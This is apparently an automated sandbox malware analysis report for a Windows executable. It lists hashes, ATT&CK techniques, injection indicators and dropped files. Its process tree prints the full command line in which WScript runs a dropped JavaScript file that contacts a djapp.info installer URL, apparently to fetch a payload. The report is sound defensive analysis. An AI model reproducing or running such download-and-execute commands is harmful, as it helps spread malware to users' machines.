8fc49397bc31306f551b3f93b243bfce8bc0a02e6d8813ea385006b07141d4b8

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09/05/2024, 21:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe
Size

184KB
MD5

2bb9984bb33a0ce7431ba9240640cebc
SHA1

62552f35077ddccd420e3524cd25e028a66afdcf
SHA256

8fc49397bc31306f551b3f93b243bfce8bc0a02e6d8813ea385006b07141d4b8
SHA512

7512074da49cd4163afceecffe853fc8c19ded2cf7bd296a6d1978f164122063f830a33e0425ee172688ad9ab69f1f25539ad61693795711fa60e178d94e9b67
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO33:/7BSH8zUB+nGESaaRvoB7FJNndnq

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2944	WScript.exe
8	2944	WScript.exe
10	2944	WScript.exe
12	2444	WScript.exe
13	2444	WScript.exe
16	2524	WScript.exe
17	2524	WScript.exe
19	2012	WScript.exe
20	2012	WScript.exe
22	1104	WScript.exe
23	1104	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 2944	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	28
PID 2224 wrote to memory of 2944	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	28
PID 2224 wrote to memory of 2944	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	28
PID 2224 wrote to memory of 2944	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	28
PID 2224 wrote to memory of 2444	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	30
PID 2224 wrote to memory of 2444	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	30
PID 2224 wrote to memory of 2444	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	30
PID 2224 wrote to memory of 2444	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	30
PID 2224 wrote to memory of 2524	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	32
PID 2224 wrote to memory of 2524	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	32
PID 2224 wrote to memory of 2524	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	32
PID 2224 wrote to memory of 2524	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	32
PID 2224 wrote to memory of 2012	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	34
PID 2224 wrote to memory of 2012	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	34
PID 2224 wrote to memory of 2012	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	34
PID 2224 wrote to memory of 2012	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	34
PID 2224 wrote to memory of 1104	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	36
PID 2224 wrote to memory of 1104	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	36
PID 2224 wrote to memory of 1104	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	36
PID 2224 wrote to memory of 1104	2224	2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\2bb9984bb33a0ce7431ba9240640cebc_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AE7.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf2AE7.exe
  2⤵
  - Blocklisted process makes network request
  PID:2944
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AE7.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf2AE7.exe
  2⤵
  - Blocklisted process makes network request
  PID:2444
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AE7.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf2AE7.exe
  2⤵
  - Blocklisted process makes network request
  PID:2524
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AE7.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf2AE7.exe
  2⤵
  - Blocklisted process makes network request
  PID:2012
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2AE7.js" http://www.djapp.info/?domain=ZkgITneosA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf2AE7.exe
  2⤵
  - Blocklisted process makes network request
  PID:1104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
5857aff0ea0365561d0f06769a04101c

SHA1
0ac570f0ec93618c5849baf94c0a167e4a706a95

SHA256
b50c616b5c29bd9611ed360a238b6b6c421d0fe3b85df331e4951aefab526b2e

SHA512
1863b40407893a4a26beaa7ae4add199676c15b633d59afb4dfd2906328b29497fdddcb0ff01b9ba77ac59c5c55511fa669b0ffd6e02bcfa2d2cc53df62390be

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
a003ca0d14cdaff051d733a70a9d9110

SHA1
de8c297975eb55234fa9dce9a43cf6812f5c6f99

SHA256
198467ed5e90fa555f5381ceee1594ea39bf4764903212b9940e918a58ef2836

SHA512
36ca8b9cfb5fcbcb1c8100142ca22e1287bb48227d28a369cf847d451e11aa3617f961a693dae8e391b7f2d7c64c1da6ae1937dd552ab0603856c2fde89977b6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f59aeccbb94ce286ad2eaa7a6f8adb13

SHA1
2f51c4fb1109002feb216d5fa38600d2e246bf28

SHA256
b9504c6ccbfd5fd66b49b00a3b5d4e15612f3cb6280ddd78e79e2fabf0d2fcf0

SHA512
bb915d9f5f70466697778e2264b7d2f54d66e5032e2f97be73ec89f2b2d1aacac6f3bbeb5652100a0f63c5d47da4821ecaa7bf43c06f29e64cbb824035c39782

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
09e59dcd0b90b9abdb59d230fd2cf2eb

SHA1
c71383f957397187d07c65530d762eba2a7dc44f

SHA256
95c0b7d8f5b882b98fbdcdd2b3270daf0a75014635f0f3e4039f7812e6b2927b

SHA512
de680d4c633d5a2c2387b150098b517c76603e7ae1b0415b2e2a10e997d8b1877dbe1a4a05cb2e0e9681c7e821ab05c6df3a26875757ad7a1c576c8fd4bcab98

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9ZQLLOZN\domain_profile[1].htm

Filesize
40KB

MD5
966a6c28c931c9ce891e75d9a1be59b0

SHA1
5d24b13dcc9539db18074380c2d9574d88a86762

SHA256
9379eefdf904c9c5c3502e0a98af2be864727f23e4ea9192e81ea2821bb6f2f3

SHA512
5a78d9a1bdc1dbd090cb055a0a387aaa57380756868c06fa3d4f2fa60a13f63984437b59087003d80f125d404cd3c046354a37118cab5e1e1dc162644772c134

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9ZQLLOZN\domain_profile[1].htm

Filesize
6KB

MD5
4541e5d3a05c924366e44b5fe1909d59

SHA1
1c1a228c2a30391eec8b85951477c14291f56430

SHA256
767b730ddb50fc75f93b55e70fac99e952c7552c5a7e0762369f43a8c2b0c9df

SHA512
857725a003529bfbf97ff2fe364ab563b1b745c6187b40e453b7974e8b0445a5e6075f27d501932b2e421cf0882dffe2557473f99e8837fb3fea86ac25726589

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\domain_profile[1].htm

Filesize
6KB

MD5
43e94f98ad88241b39e4d899da283b2f

SHA1
4d414ce6992fa3c93ed6a86485516f519aabd767

SHA256
8a1cb8bf19f523aebb63b69b25ed0924a3e4c2e505900b5c3b97c1a984eb6b6a

SHA512
872397a6e5ca21c68ad5a446dea3ecbb79fd6dd2ee64835a5ae7290ced9acf9612d579fc3a07bafa1749b12e0c85087c09dda480ee62abfbe2e6b12a00da778e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\domain_profile[1].htm

Filesize
40KB

MD5
f76d3208f782bbbd1927af8b1b49e878

SHA1
59aceb806327912c32ff4954a87e1b108902a3a6

SHA256
49fa0221e0c72913bc6f6f4c3ea4d2c20045ac6f12f32a0a43bdbc0975bc050e

SHA512
0cd900d09f6a63e2af9e96f7cc6d099e4e6ff59a18b83d25cea47ff9fff40bc6165a0cb857212bbbd42185d6f3cc42970d0a98a0093f30324c088d8e6ab8a392

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5A50.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar736C.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf2AE7.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\BQTCEFHT.txt

Filesize
175B

MD5
c0137c9458d93fd1dcbb04dc7c197ff9

SHA1
6e4ccdd6c06c902351668b39442ab26a5e39ccf7

SHA256
97f28d0423080afdcf4f4b18b451c2d5c40953fd5543d2d110bba4692421d37c

SHA512
a6b7efe7aec39990e553c946edac7459f70e60c88430fced70d1344cc4fd4fa6e74a9def88e12e3d4737b36691b5d2f770bc3d0536b4e0c3821cd49b1b2c4b25

Download Submit